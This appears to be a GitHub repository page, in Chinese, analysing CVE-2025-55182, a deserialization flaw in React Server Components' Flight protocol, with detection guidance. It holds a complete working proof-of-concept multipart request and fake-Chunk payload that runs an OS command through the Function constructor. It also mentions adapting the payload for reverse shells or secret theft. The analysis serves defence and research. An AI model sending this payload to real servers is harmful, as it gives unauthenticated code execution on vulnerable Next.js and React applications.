Phucc29/CVE-2025-55182

GitHub: Phucc29/CVE-2025-55182

该项目分析并提供了针对 React Server Components Flight 协议反序列化漏洞(CVE-2025-55182)的原理详解、利用链拆解及检测方案。

Stars: 0 | Forks: 0

## 了解 React Server Components 与 Flight 协议 React Server Components 是 React 19 中引入的一项功能,允许组件在服务器端而非客户端浏览器中进行渲染。服务器可以处理复杂的计算任务,同时仅将渲染后的结果发送给客户端。 RSC 中服务器与客户端之间的通信基于 React Flight 协议。该协议负责处理服务器与客户端之间传输的数据的序列化与反序列化过程。当客户端需要调用服务器端的函数(Server Action)时,它会发送一个包含已序列化数据的特殊格式请求,以便服务器进行反序列化和处理。 Flight 协议使用一种带有数据类型标记的特定序列化格式。例如: - $@ 表示对 chunk 的引用。 - $B 表示对 Blob 的引用。 - 引用可以通过使用冒号作为分隔符来包含属性路径(例如:$1:constructor:constructor) 正是这种序列化机制成为了漏洞的温床。服务器在处理这些引用时,没有正确验证所请求的属性是否确实是目标模块导出的合法内容。 ## 漏洞本质 CVE-2025-55182 本质上是 RSC 处理传入的 Flight 协议 payload 时存在的不安全反序列化漏洞。该漏洞存在于 `react-server-dom-webpack` 包的 `requireModule` 函数中。 ``` function requireModule(metadata) { var moduleExports = __webpack_require__(metadata[0]); // ... additional logic ... return moduleExports[metadata[2]]; // VULNERABLE LINE } ``` 最严重的缺陷在于方括号表示法的访问:`moduleExports[metadata[2]]` 在 JavaScript 中,当使用方括号表示法访问属性时,JavaScript 引擎不仅会检查对象自身的属性,还会遍历整个原型链。这意味着攻击者可以引用到模块并未显式导出的属性。 最关键的是,JavaScript 中的每个函数都有一个 `constructor` 属性,指向 Function 构造函数。通过访问 `someFunction.constructor`,攻击者就能获取到全局 Function 构造函数的引用,该对象在被传入字符串参数调用时可以执行任意 JavaScript 代码。 由于 React 的 Flight 协议允许客户端通过冒号分隔的引用语法来指定这些属性路径,使得该漏洞变得可被利用。攻击者可以构造如 `$1:constructor:constructor` 的引用,该引用将执行以下遍历过程: - 获取编号为 1 的 chunk/module - 访问其 `.constructor` 属性(获得 Function Constructor) - 再次访问 `.constructor`(仍然是 Function Constructor,但确认了访问链) ## 利用链 ### 阶段 1:构造伪造的 Chunk 对象 PoC 首先通过发送一个包含三个字段的 multipart form 请求。第一个字段包含一个刻意构造的伪造 Chunk 对象: ``` { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "process.mainModule.require('child_process').execSync('xcalc');", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } } } ``` 该对象模拟了 React 中 `chunk` 类的内部结构。通过将 `then` 指向 `Chunk.prototype.then`,它创建了一个自引用结构。当 React 处理并 `await` 这个 Chunk 时,`then` 方法会被调用,并将伪造的 Chunk 作为 `this` 上下文。 ### 阶段 2:利用 Blob 反序列化处理器 下一个关键要素是 `$B1337` 引用。在 React 的 Flight 协议中,`$B` 前缀表示一个 Blob 引用。当 React 处理 Blob 引用时,它会调用使用以下代码的函数:`response._formData.get(response._prefix + id)` 此时,`_response` 对象已经被注入了恶意属性。当 Blob 处理器执行:`response._formData.get(response._prefix + id)` 它实际上会执行:`Function("process.mainModule.require('child_process').execSync('xcalc');1337")` 原因是 `_formData.get` 被设置为 `$1:constructor:constructor`,该引用被解析为 `Function constructor`。`_prefix` 的值包含了恶意代码。当它们结合在一起时,`Function constructor` 会接收包含恶意代码的字符串作为参数被调用,从而创建并执行一个包含任意 JS 代码的函数。 ### 阶段 3:代码执行 Payload `process.mainModule.require('child_process').execSync('xcalc')` 说明了此漏洞的利用能力。该 Payload 执行以下操作: - 访问 `process.mainModule`(正在执行的主模块) - 使用 `require` 方法加载 `child_process` 模块 - 调用 `execSync` 以执行操作系统命令 - 在此示例中,它打开了计算器应用程序(`xcalc`)以证明利用成功 此 Payload 可以被修改用于建立 reverse shell、提取包含敏感信息的环境变量、读取敏感文件,或执行 Node.js 进程权限允许的任何操作。 ## 实战 PoC 分析 查看 maple3142 提供的 PoC 中的完整请求: ``` POST / HTTP/1.1 Host: localhost Next-Action: x Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Length: [Độ_dài_thực_tế_của_body] ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "process.mainModule.require('child_process').execSync('xcalc');", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } } } ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="1" "$@0" ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="2" [] ------WebKitFormBoundaryx8jO2oVc6SWP3Sad-- ``` Header `Next-Action: x` 会触发 React 的 Server Action 处理机制。请求体包含三个部分: - 字段 0:包含恶意 `_response` 结构的伪造 Chunk 对象。 - 字段 1:`$@0` 引用指回字段 0,创建自引用结构。 - 字段 2:一个空数组,补全请求结构。 当服务器处理此请求时,它将反序列化字段 0,遇到字段 1 中的 `$@0` 引用,设置自引用的 `then` 属性,随后触发 Blob 处理器,该处理器将通过 `Function constructor` 执行恶意代码。 ### 受影响的版本与攻击面 CVE-2025-55182 影响以下版本中的 React Server Components: - React 19.0.0、19.1.0、19.1.1 和 19.2.0。 - Next.js 14.3.0-canary.77 及以上版本,所有 15.x 版本以及未修复的 16.x 版本。 - 其他使用 RSC 的框架,如 React Router、Waku、Redwood SDK 以及许多 RSC 插件。 此漏洞极其危险,因为: - 默认配置即受影响:使用 `create-next-app` 创建的标准 Next.js 应用程序无需修改任何源代码即可被利用。 - 无需身份验证:攻击无需任何凭据即可实施。 - 可靠性高:安全研究人员记录显示其利用成功率接近 100%。 - 部署广泛:Wiz Research 的数据显示,39% 的云环境中包含受漏洞影响的版本。 据 Shodan 统计,有超过 571,000 台公开的服务器使用了 React 组件,444,000 台服务器使用了 Next.js。尽管并非所有服务器都运行受影响的版本,但潜在的攻击面极其庞大。 ## 检测 攻击请求必然包含以下极其特定的要素组合: - Header:包含 `Next-Action` header,且数据格式为 `multipart/form-data`。 - Payload: - 包含特定的 form-data 声明字符串:name="0" - 包含恶意属性,如 "status": "resolved_model"(原始文档上方误记为 "reserved_model",但标准规则应为 resolved) - 包含字符串 "then":"$1:__proto__:then" —— 这是表明攻击者正试图从外部操纵 RSC 机制的极其准确的信号。 ### 两种检测机制 #### 使用 Snort 进行网络监控 工作原理:当流向服务器的网络流量中同时具备上述异常特征时,此 Snort 规则将进行拦截/告报。 目的:在利用行为发生于网络传输过程中时,立刻进行检测和拦截。 #### 使用 OSQuery 进行漏洞排查 工作原理:在服务器上或软件构建流程(CI/CD)中运行定期扫描命令,以查找受漏洞影响的 Node.js 库包(npm_packages)。 目标包:`react-server-dom-parcel`、`react-server-dom-turbopack` 和 `react-server-dom-webpack` 受漏洞影响的版本:19.0.0、19.1.0 至 19.1.2 以下版本,以及 19.2.0。 目的:在存在风险的应用程序进入 Product 环境之前,主动进行检测。
标签:CISA项目, MITM代理, React, Syscalls, Web安全, 反序列化漏洞, 漏洞分析, 蓝队分析, 路径探测